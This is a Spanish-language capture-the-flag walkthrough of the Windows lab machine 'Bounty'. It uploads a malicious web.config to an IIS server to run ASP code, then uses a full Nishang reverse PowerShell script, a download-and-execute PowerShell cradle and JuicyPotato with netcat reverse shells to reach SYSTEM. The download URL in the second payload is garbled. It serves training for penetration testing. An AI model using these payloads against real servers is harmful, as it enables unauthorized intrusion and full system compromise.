Bounty
Skills
- IIS Enumeration
- IIS Exploitation - Executing code via web.config file upload
- Abusing SeImpersonatePrivilege - Juicy Potato [Privilege Escalation]
Certificaciones
- eWPT
- OSCP
Descripción
Bounty
es una máquina easy windows
, descubrimos un directorio para subir
archivos fuzzeando
el puerto 80
, subimos un archivo web.config
con el que obtenemos un RCE
(Remote Code Execution). Gracias a este RCE
y usando nishang
obtenemos una powershell
, posteriormente escalamos privilegios
usando JuicyPotato
para abusar del SeImpersonatePrivilege
Reconocimiento
Se comprueba que la máquina
está activa
y se determina su sistema operativo
, el ttl
de las máquinas windows
suele ser 128
, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
# ping 10.129.195.92
PING 10.129.195.92 (10.129.195.92) 56(84) bytes of data.
64 bytes from 10.129.195.92: icmp_seq=1 ttl=127 time=56.4 ms
64 bytes from 10.129.195.92: icmp_seq=2 ttl=127 time=56.5 ms
^C
--- 10.129.195.92 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 56.373/56.438/56.503/0.065 ms
Nmap
Se va a realizar un escaneo de todos los puertos
abiertos en el protocolo TCP
a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.195.92 -oG openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-18 21:16 CEST
Initiating SYN Stealth Scan at 21:16
Scanning 10.129.195.92 [65535 ports]
Discovered open port 80/tcp on 10.129.195.92
Completed SYN Stealth Scan at 21:17, 28.18s elapsed (65535 total ports)
Nmap scan report for 10.129.195.92
Host is up (0.16s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 28.25 seconds
Raw packets sent: 131089 (5.768MB) | Rcvd: 21 (924B)
Se procede a realizar un análisis de detección
de servicios
y la identificación
de versiones
utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# nmap -sCV -p80 10.129.195.92 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-18 21:17 CEST
Nmap scan report for 10.129.195.92
Host is up (0.065s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: Bounty
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.58 seconds
Web Enumeration
Al acceder al servicio web
nos encontramos con lo siguiente
Fuzzeamos
en busca de rutas
, como es un IIS 10.0
vamos a fuzzear
adjuntando varios tipos de extensiones
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# dirsearch -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e asp,aspx,config,php -f -u http://10.129.195.92
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: asp, aspx, config, php | HTTP method: GET | Threads: 200 | Wordlist size: 1323270
Output File: /home/justice-reaper/reports/http_10.129.195.92/_24-07-19_11-46-50.txt
Target: http://10.129.195.92/
[11:46:50] Starting:
[11:47:54] 200 - 974B - /transfer.aspx
[11:48:42] 400 - 11B - /*checkout*.aspx
[11:50:43] 400 - 11B - /*docroot*.aspx
[11:50:56] 400 - 11B - /*.aspx
[11:52:25] 400 - 11B - /http%3A%2F%2Fwww.aspx
[11:54:35] 400 - 11B - /http%3A.aspx
[11:55:10] 403 - 1KB - /UploadedFiles/
[11:55:10] 301 - 158B - /UploadedFiles -> http://10.129.195.92/UploadedFiles/
[11:55:29] 400 - 11B - /q%26a.aspx
[11:55:37] 400 - 11B - /**http%3a.aspx
[11:56:37] 400 - 11B - /*http%3A.aspx
[11:57:12] 403 - 1KB - /uploadedFiles/
[11:57:12] 301 - 158B - /uploadedFiles -> http://10.129.195.92/uploadedFiles/
[12:01:46] 400 - 11B - /**http%3A.aspx
[12:01:52] 400 - 11B - /http%3A%2F%2Fyoutube.aspx
[12:05:45] 400 - 11B - /http%3A%2F%2Fblogs.aspx
[12:06:17] 400 - 11B - /http%3A%2F%2Fblog.aspx
[12:06:18] 301 - 158B - /uploadedfiles -> http://10.129.195.92/uploadedfiles/
[12:06:18] 403 - 1KB - /uploadedfiles/
En /transfer.aspx
vemos lo siguiente tras subir un archivo llamado dog.jpg
En /uploadedFiles
he buscado por el archivo dog.jpg
pero no está ahí, he visto en https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/iis-internet-information-services que puedes subir un archivo .config
para ejecutar código
malicioso. Con este código podemos crear un archivo llamado web.config
para posteriormente subirlo a la web
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->
La web ha aceptado el payload
Si nos dirigimos ahora a http://10.129.195.172/uploadedFiles/web.config
recibiremos un 3
, eso significa que el código
ha funcionado
correctamente y que tenemos un RCE
(Remote Code Execution). La web borra
los archivos
subidos rápidamente
por lo hay que ser rápido
para ejecutar
el payload
Lo que vamos a hacer ahora es descargarnos Invoke-PowerShellTcp.ps1
de https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1. Una vez descargado el script vamos a copiar Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
que encontramos en la parte de .EXAMPLE
al final del script con la dirección IP
de nuestra máquina y con el puerto por el que nos mandará la conexión
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.16 -Port 4444
Lo siguiente que debemos hacer es ponernos en escucha
por el puerto 4444
con rlwrap
y netcat
1
# rlwrap nc -nlvp 4444
En el mismo directorio
donde tenemos el archivo web.config
nos montamos un servidor http
1
# python -m http.server 80
Ahora vamos a modificar el archivo web.config
para que ejecute
el archivo Invoke-PowerShellTcp.ps1
de nuestro equipo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
<appSettings>
</appSettings>
</configuration>
<%
Set obj = CreateObject("WScript.Shell")
obj.Exec("cmd /c powershell iex (New-Object Net.WebClient).DownloadString('http://Invoke-PowerShellTcp.ps1/Invoke-PowerShellTcp.ps1')")
%>
Una vez subido este archivo y veamos que la subida ha sido exitosa nos debemos dirigir a http://10.129.74.109/uploadedfiles/web.config
. Si todo ha ido bien deberíamos recibir una shell
en nuestro equipo
1
2
3
4
5
6
7
8
# rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.74.109] 49160
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\windows\system32\inetsrv>whoami
bounty\merlin
Listamos privilegios
y vemos que SeImpersonatePrivilege
está habilitado, con este privilegio podemos convertirnos
en el usuario Administrator
1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\windows\system32\inetsrv> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Vamos a convertirnos en Administrator
siguiendo las instrucciones
de [https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#seimpersonateprivilege](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#seimpersonateprivilege. Para ver si podemos usar JuicyPotato
listamos la versión
del Windows Server
, en este caso al ser anterior al 2019
podemos usarlo, de no ser así tendríamos que utilizar otras alternativas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
PS C:\windows\system32\inetsrv> systeminfo
Host Name: BOUNTY
OS Name: Microsoft Windows Server 2008 R2 Datacenter
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 55041-402-3606965-84760
Original Install Date: 5/30/2018, 12:22:24 AM
System Boot Time: 7/19/2024, 4:00:42 PM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 2,047 MB
Available Physical Memory: 1,591 MB
Virtual Memory: Max Size: 4,095 MB
Virtual Memory: Available: 3,600 MB
Virtual Memory: In Use: 495 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Local Area Connection 3
DHCP Enabled: Yes
DHCP Server: 10.129.0.1
IP address(es)
[01]: 10.129.74.109
[02]: fe80::105e:cd75:e3ee:bb82
[03]: dead:beef::105e:cd75:e3ee:bb82
Lo que debemos hacer ahora es descargarnos JuicyPotato
en https://github.com/ohpe/juicy-potato/releases/tag/v0.1 y Netcat
en https://eternallybored.org/misc/netcat/. Podemos obtener los CLSID
de Microsoft Windows Server 2008 R2 Datacenter
en https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise/. Una vez descargado todo esto nos vamos a la carpeta donde se encuentran las descargas y creamos un servidor
con smb
1
# impacket-smbserver smbFolder $(pwd) -smb2support
Desde la máquina windows obtenemos
todos los archivos
1
PS C:\Users\merlin\Desktop> copy \\10.10.16.16\smbFolder\JuicyPotato.exe .
1
PS C:\Users\merlin\Desktop> copy \\10.10.16.16\smbFolder\nc.exe .
1
2
3
4
5
6
7
8
9
10
PS C:\Users\merlin\Desktop> dir
Directory: C:\Users\merlin\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 7/19/2024 4:13 PM 347648 JuicyPotato.exe
-a--- 12/26/2010 2:26 PM 36528 nc.exe
Lo siguiente que debemos hacer es ponernos en escucha
por el puerto 9001
, el puerto 443
puede dar en ocasiones problemas
porque es un puerto privilegiado
, si nos da error debido al CLSID
lo único que hay que hacer es probar
con otro
1
# rlwrap nc -nlvp 9001
Ejecutamos
el binario JuicyPotato
1
2
3
4
5
6
7
PS C:\Users\merlin\Desktop> ./JuicyPotato.exe -l 1337 -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}" -p C:\Windows\System32\cmd.exe -a "/c C:\Users\merlin\Desktop\nc.exe -e cmd.exe 10.10.16.16 9001" -t *
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
Desde nuestro equipo deberíamos recibir esta consola como nt authority\system
1
2
3
4
5
6
7
8
9
# rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.74.109] 49175
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system